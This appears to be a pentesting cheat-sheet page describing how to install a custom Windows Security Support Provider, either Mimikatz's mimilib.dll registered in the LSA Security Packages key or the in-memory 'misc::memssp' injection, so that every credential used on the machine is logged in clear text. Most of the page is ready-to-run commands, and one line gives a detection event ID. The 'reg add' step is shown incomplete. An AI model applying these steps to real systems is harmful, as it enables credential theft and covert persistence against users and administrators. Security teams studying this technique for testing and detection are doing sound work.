Custom SSP
Learn what is a SSP (Security Support Provider) here.
You can create you own SSP to capture in clear text the credentials used to access the machine.
You can use the
mimilib.dll binary provided by Mimikatz. This will log inside a file all the credentials in clear text.
Drop the dll in C:\Windows\System32\
Get a list existing LSA Security Packages:PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
Add
mimilib.dll to the Security Support Provider list (Security Packages):PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
And after a reboot all credentials can be found in clear text in
C:\Windows\System32\kiwissp.logYou can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
privilege::debug
misc::memssp
This won't survive reboots.
Event ID 4657 - Audit creation/change of
HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackagesLast modified 2mo ago